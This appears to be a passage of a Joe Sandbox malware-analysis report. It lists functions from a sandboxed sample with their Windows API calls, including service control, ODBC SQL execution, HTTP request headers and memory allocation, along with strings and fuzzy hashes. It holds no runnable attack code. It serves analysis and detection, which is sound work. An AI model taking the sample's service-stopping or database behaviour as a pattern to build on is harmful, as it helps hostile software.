Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Service$CloseHandleOpen$ControlManager
String ID:
API String ID: 2705437689-0
Opcode ID: 04b1a45d9d6c05df6f98ec7263efb69af75b1c22c72528098d523869d765774c
Instruction ID: ff2b35070af8c8f0cb02eb84689d13ae5290e3e5bd972ee75c62795a7d0ec784
Opcode Fuzzy Hash: 04b1a45d9d6c05df6f98ec7263efb69af75b1c22c72528098d523869d765774c
Instruction Fuzzy Hash: 6E316EB1E41308BBEB10EB95DC03BDEB671EB05714F14402AF5047A2C1D6BA1B54DB9B

Function 0040B416 Relevance: 7.6, APIs: 5, Instructions: 95serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 0040B468
OpenServiceA.ADVAPI32(00000000,00000000,000F01FF,00000000,00000000,000F003F), ref: 0040B4AB
ControlService.ADVAPI32(00000000,00000002,?,00000000,00000000,000F01FF,00000000,00000000,000F003F), ref: 0040B4EC
CloseServiceHandle.ADVAPI32(00000000,00000000,00000002,?,00000000,00000000,000F01FF,00000000,00000000,000F003F), ref: 0040B51B
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,000F01FF,00000000,00000000,000F003F), ref: 0040B547

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Service$CloseHandleOpen$ControlManager
String ID:
API String ID: 2705437689-0
Opcode ID: 0aedda3cc3fa4b52ed5d887f4d5b67381e850dabfdfed22b36629ba70748b692
Instruction ID: 32206775a20a42faec7147f49ce91462578fa171954bdd131506751d7d88e5e1
Opcode Fuzzy Hash: 0aedda3cc3fa4b52ed5d887f4d5b67381e850dabfdfed22b36629ba70748b692
Instruction Fuzzy Hash: F1314D71E81308BBEB10EBA1DC03BEE7A71AB05715F14006AF5047A3C2D6791B90DB9B

Function 0040B584 Relevance: 7.6, APIs: 5, Instructions: 95serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 0040B5D6
OpenServiceA.ADVAPI32(00000000,00000000,000F01FF,00000000,00000000,000F003F), ref: 0040B619
ControlService.ADVAPI32(00000000,00000003,?,00000000,00000000,000F01FF,00000000,00000000,000F003F), ref: 0040B65A
CloseServiceHandle.ADVAPI32(00000000,00000000,00000003,?,00000000,00000000,000F01FF,00000000,00000000,000F003F), ref: 0040B689
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,000F01FF,00000000,00000000,000F003F), ref: 0040B6B5

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Service$CloseHandleOpen$ControlManager
String ID:
API String ID: 2705437689-0
Opcode ID: 29e79dcc5a501bf9464459187522c1c326f58946ae7d8e55c0df9efa391012df
Instruction ID: ee1830c04894d8fd7578e0d51683035b1385d3aee42f32c74c865f10180f1f99
Opcode Fuzzy Hash: 29e79dcc5a501bf9464459187522c1c326f58946ae7d8e55c0df9efa391012df
Instruction Fuzzy Hash: 79317EB1E40308BBEF10EBA1DC43BEE7671AB05715F14002AF5047A2C1D6BA1B50DB9B

Function 0041149F Relevance: 7.6, APIs: 5, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

SQLAllocHandle.ODBC32(00000003,?,00000000), ref: 004114D7
wm_Len.WMVERT(00000001,00000000,00000000,80000004,00000003,?,00000000), ref: 00411531
SQLExecDirect.ODBC32(00000000,?,?,?,00000003,?,00000000), ref: 0041154F
SQLRowCount.ODBC32(00000000,00000000,00000000,?,?,?,00000003,?,00000000), ref: 0041159B
SQLFreeHandle.ODBC32(00000003,00000000,00000000,?,?,?,00000003,?,00000000), ref: 004115CC

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Handle$AllocCountDirectExecFree
String ID:
API String ID: 1873100098-0
Opcode ID: d68bb16617b030d2ab57606121c746cb555f5dffea47bcfd9357a3d93bae0d3f
Instruction ID: 6bc1f91fc36a088a313a03f1fdd0134cf6ff027116ee3d9ca9cadf68db1341e4
Opcode Fuzzy Hash: d68bb16617b030d2ab57606121c746cb555f5dffea47bcfd9357a3d93bae0d3f
Instruction Fuzzy Hash: 4C316175E40308BBEF00AF95D842BDEBB35EB05714F00805AFA106A3D1D7B95B90CB9A

Function 00425C7B Relevance: 7.6, APIs: 5, Instructions: 52stringregistryCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00425C80
GetClassInfoA.USER32(?,?,?), ref: 00425C9B
RegisterClassA.USER32(00000004), ref: 00425CA6
lstrcatA.KERNEL32(00000034,?,00000001), ref: 00425CDD
lstrcatA.KERNEL32(00000034,?), ref: 00425CEB

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Classlstrcat$H_prologInfoRegister
String ID:
API String ID: 106226465-0
Opcode ID: db08e23318e7d1d10321d70d02d656357cd67a3a98d5f7299735502e8069cedf
Instruction ID: 4084ddec806a8adceaed9d56950de915344b6400b177542f7a676e81811a33ea
Opcode Fuzzy Hash: db08e23318e7d1d10321d70d02d656357cd67a3a98d5f7299735502e8069cedf
Instruction Fuzzy Hash: 21112531705324AFC710AF62AC40ADE7BA8EF05314F40455FFC02A3291D7B89A4187A9

Function 0041D829 Relevance: 7.5, APIs: 5, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000103,7FFFFFFF,0041CFF1,00421146,00000000,?,?,00000000,00000001), ref: 0041D82B
TlsGetValue.KERNEL32(?,?,00000000,00000001), ref: 0041D839
SetLastError.KERNEL32(00000000,?,?,00000000,00000001), ref: 0041D885

Part of subcall function 00420585: HeapAlloc.KERNEL32(00000008,?,00000000,00000000,00000001,0041D84E,00000001,00000074,?,?,00000000,00000001), ref: 0042067B

TlsSetValue.KERNEL32(00000000,?,?,00000000,00000001), ref: 0041D85D
GetCurrentThreadId.KERNEL32 ref: 0041D86E

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: ErrorLastValue$AllocCurrentHeapThread
String ID:
API String ID: 2020098873-0
Opcode ID: 95f13c9227849cc78711ad30b809c5c32203b67cea33580d0c1c32013b3da969
Instruction ID: 11b53987194faeaef48a72390746be90ec9cd7bb07a0593405d3c4bfcdd51052
Opcode Fuzzy Hash: 95f13c9227849cc78711ad30b809c5c32203b67cea33580d0c1c32013b3da969
Instruction Fuzzy Hash: D3F0BB72B016116BD7313B35BC0A5AB3B519F05BB1F10073AFD91D6290DB7888A2969A

Function 00405372 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 214COMMON

Download Yara Rule

APIs

wm_ObjRunMethod.WMVERT(00000004,?,00000000,00010030,SetRequestHeader,00000000,80000004,?,00000000,80000004,?,00000000,80000004), ref: 004055F6

Strings

Connection, xrefs: 00405434
keep-alive, xrefs: 004054C3
SetRequestHeader, xrefs: 004055DD

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Method
String ID: Connection$SetRequestHeader$keep-alive
API String ID: 1509244758-2605772854
Opcode ID: f1498390acd3a6e627cb392923e0bf77152b3a458748569cfa89dcac96e1d0d8
Instruction ID: 4d46a2df760332e86844e65c31ac0d8483a431c8eec2606c376497230444987f
Opcode Fuzzy Hash: f1498390acd3a6e627cb392923e0bf77152b3a458748569cfa89dcac96e1d0d8
Instruction Fuzzy Hash: 356188F2F443096BEB009A959CC3FDE7664DB14718F14043EFA04F62D1E6B96D948A2E

Function 00413BF4 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 213COMMON

Download Yara Rule

APIs

wm_InStr.WMVERT(00000004,00000000,00000000,80000004,SERVER:,00000000,80000004,00000000,00000000,00000000,00000000,00000000,80000002), ref: 00413D02
wm_Split.WMVERT(00000003,00000000,00000000,80000004,0042FEFB,00000000,80000004,00000000,00000000,00000000), ref: 00413DC5

Strings

Driver={SQL Server}, xrefs: 00413C0B
SERVER:, xrefs: 00413CDF

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Split
String ID: Driver={SQL Server}$SERVER:
API String ID: 1882502421-3238898389
Opcode ID: 856577be926a0663a39a1a05bd0e790c6bde594ea26c25f13b23566f5b24984e
Instruction ID: 38cfad695d0a8a505f79c99b227eea5788966d389a5f8d4810627615b1830ec6
Opcode Fuzzy Hash: 856577be926a0663a39a1a05bd0e790c6bde594ea26c25f13b23566f5b24984e
Instruction Fuzzy Hash: 046153B1B00305ABEF10DE95DCC1BAF73B8EB14305F14457AFA05AB381E678AE848759

Function 00403975 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

wm_BinLen.WMVERT(00000001,00000000,00000000,80000005,?,?,?,?,?,0040373F,00000000), ref: 004039BA

Strings

?7@, xrefs: 00403AEA

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID:
String ID: ?7@
API String ID: 0-917346843
Opcode ID: ee8f3c6557ec9c5abe029f3fb307225b1c646e696db7d7d57e6f10bc387d66aa
Instruction ID: 1cf2225bb1b96b144e143bd4247083d969d295ed9d017b7798b41e152cdfbeeb
Opcode Fuzzy Hash: ee8f3c6557ec9c5abe029f3fb307225b1c646e696db7d7d57e6f10bc387d66aa
Instruction Fuzzy Hash: F6416F70E00209EBEF10AF91D846BAEBFB9EB04305F60407AE541762C1D7795B60CB9A

Function 0041B85E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(00443448), ref: 0041B884
InterlockedDecrement.KERNEL32(00443448), ref: 0041B899

Strings

H4D, xrefs: 0041B87D

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Interlocked$DecrementIncrement
String ID: H4D
API String ID: 2172605799-1263760148
Opcode ID: 337d1d369bd706276a53c8ae07e3f13fee3df79e0ce137014482842707e6a8dc
Instruction ID: 6d68cc56ed12a919ff8e73bef31ac12b7a646a1fac330b107754acaf36f2a65d
Opcode Fuzzy Hash: 337d1d369bd706276a53c8ae07e3f13fee3df79e0ce137014482842707e6a8dc
Instruction Fuzzy Hash: DEF0F6726012129BE722BF55ECC29CB635CEF91B29F10043FF504D5290C7689DCA96AE

Function 00421E00 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(00443448), ref: 00421E26
InterlockedDecrement.KERNEL32(00443448), ref: 00421E3B

Strings

H4D, xrefs: 00421E1F

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: Interlocked$DecrementIncrement
String ID: H4D
API String ID: 2172605799-1263760148
Opcode ID: 5982bbb7647daa693e74b997d8f6644fbac91167642d8b09879b2a5fbd807e4e
Instruction ID: d99cf7514edc87b6a6b7c04b7d512b4abe17839c94dc9d1c611e25ac6a7e6ab6
Opcode Fuzzy Hash: 5982bbb7647daa693e74b997d8f6644fbac91167642d8b09879b2a5fbd807e4e
Instruction Fuzzy Hash: 0EF0C2323012A25BE721AF56BCC299B6355EBA1726FE1083FF904851A0C7A89D82851E

Function 004280A0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27stringCOMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(00000000,000000F0), ref: 004280B1
GetClassNameA.USER32(00000000,?,0000000A), ref: 004280CC
lstrcmpiA.KERNEL32(?,combobox), ref: 004280DB

Strings

combobox, xrefs: 004280D5

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: ClassLongNameWindowlstrcmpi
String ID: combobox
API String ID: 2054663530-2240613097
Opcode ID: 5aa2dcbc5fe88e381dc317df5012f9d3a47ae0c86c5686a6f1b89ed2fef0be0b
Instruction ID: d16580347b5ece780230e23dd7ad3f914928d6d2001650072b3c69f2e54bf2ba
Opcode Fuzzy Hash: 5aa2dcbc5fe88e381dc317df5012f9d3a47ae0c86c5686a6f1b89ed2fef0be0b
Instruction Fuzzy Hash: DDE06531754119BFCF105F60EC4AE5E3B68EB00755F548221BC12D51A1DB38D569CA5B

Function 0041F831 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0041ACF1), ref: 0041F836
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 0041F846

Strings

KERNEL32, xrefs: 0041F831
IsProcessorFeaturePresent, xrefs: 0041F840

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: f5ffac51b6737b81a3b1cc408567980df503287288bbd590ac25cd0c654e4e07
Instruction ID: 64e18b8037124dec99ab2f4ffb435ac79243ac1b8385fa1330b3771d6458148d
Opcode Fuzzy Hash: f5ffac51b6737b81a3b1cc408567980df503287288bbd590ac25cd0c654e4e07
Instruction Fuzzy Hash: 7CC08C30340312A7DB602FB16C0DB66230CABC8B06FA4043AB911D41E0EF6CD0A7953E

Function 0041B235 Relevance: 6.5, APIs: 5, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2cc09f34db062ecebcd53d8576ac86c9e0405f6d72e375972c0a9c0a01ba7da
Instruction ID: 4c6eecef743e3c9f3fa4580ff90f91a9a485d5259cbfb96b5d0750803413bfd4
Opcode Fuzzy Hash: e2cc09f34db062ecebcd53d8576ac86c9e0405f6d72e375972c0a9c0a01ba7da
Instruction Fuzzy Hash: 6A91EB71D00618BBCF21AF699C84ADE7B75EB05764F204127F824A6291D3398DD18BED

Function 00408857 Relevance: 6.4, APIs: 4, Instructions: 406COMMON

Download Yara Rule

APIs

wm_Split.WMVERT(00000003,00000000,00000000,80000004,00000000,00000000,80000004,00000000,00000000,00000000), ref: 004088FD

Part of subcall function 00408CB9: wm_CnvToBin.WMVERT(00000001,0042F82B,00000000,80000004), ref: 00408D4F
Part of subcall function 00408CB9: wm_BinLen.WMVERT(00000001,00000000,00000000,80000005), ref: 00408D90

wm_Len.WMVERT(00000001,00000000,00000000,80000004,?,00000000,00000000,00000001), ref: 00408B5A
wm_Len.WMVERT(00000001,00000000,00000000,80000004,?,?,?,?,?,00000000,00000000,00000001), ref: 00408B85
wm_Left.WMVERT(00000002,00000000,00000000,80000004,00000000,00000000,80000301), ref: 00408BD3

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: LeftSplit
String ID:
API String ID: 2288467554-0
Opcode ID: bdaa648531eeaaf43b8ff291580fc738f6e53693593da6092eddb3d3837fefa1
Instruction ID: 70681c90c87d6224f6066a3f963db78919fe9bd832d10fc2a520a4f04e3c0add
Opcode Fuzzy Hash: bdaa648531eeaaf43b8ff291580fc738f6e53693593da6092eddb3d3837fefa1
Instruction Fuzzy Hash: 78C177F1A04205ABEF00DA95DDC2BAE73B4EB15314F14003EF645FB381EA79AE508766

Function 0041F05A Relevance: 6.4, APIs: 5, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000000,00002020,?,?,?,?,0041F526,00000000,00000010,00000000,00000009,00000009,?,0041AC3D,00000010,00000000), ref: 0041F07B
VirtualAlloc.KERNEL32(00000000,00400000,00002000,00000004,?,?,0041F526,00000000,00000010,00000000,00000009,00000009,?,0041AC3D,00000010,00000000), ref: 0041F09F
VirtualAlloc.KERNEL32(00000000,00010000,00001000,00000004,?,?,0041F526,00000000,00000010,00000000,00000009,00000009,?,0041AC3D,00000010,00000000), ref: 0041F0B9
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,0041F526,00000000,00000010,00000000,00000009,00000009,?,0041AC3D,00000010,00000000,?), ref: 0041F17A
HeapFree.KERNEL32(00000000,00000000,?,?,0041F526,00000000,00000010,00000000,00000009,00000009,?,0041AC3D,00000010,00000000,?,00000000), ref: 0041F191

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: AllocVirtual$FreeHeap
String ID:
API String ID: 714016831-0
Opcode ID: 8180ed5bfbf8c54d9e8ae58a3864bb49a401bbae96192d48730e13e1dc6002e9
Instruction ID: e30d82df236ab7921b2b653bfcf17180a7e57a29690feb6d1dd8870469857711
Opcode Fuzzy Hash: 8180ed5bfbf8c54d9e8ae58a3864bb49a401bbae96192d48730e13e1dc6002e9
Instruction Fuzzy Hash: B031E775640701EBD3308F24DC80BA2BBF0E748765F10863BE155976A1D778A8CB8B5C

Function 00408CB9 Relevance: 6.3, APIs: 4, Instructions: 308COMMON

Download Yara Rule

APIs

wm_CnvToBin.WMVERT(00000001,0042F82B,00000000,80000004), ref: 00408D4F
wm_BinLen.WMVERT(00000001,00000000,00000000,80000005), ref: 00408D90
wm_BinMid.WMVERT(00000003,00000000,00000000,80000005,00000001,00000000,80000301,00000001,00000000,80000301), ref: 00408F5C
wm_Str.WMVERT(00000001,?,00000000,80000005), ref: 00408F85

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f7a2f95e4a311cd5b560b2bed1b5b5e3d041696efc9e00e45bf81e09782e21b
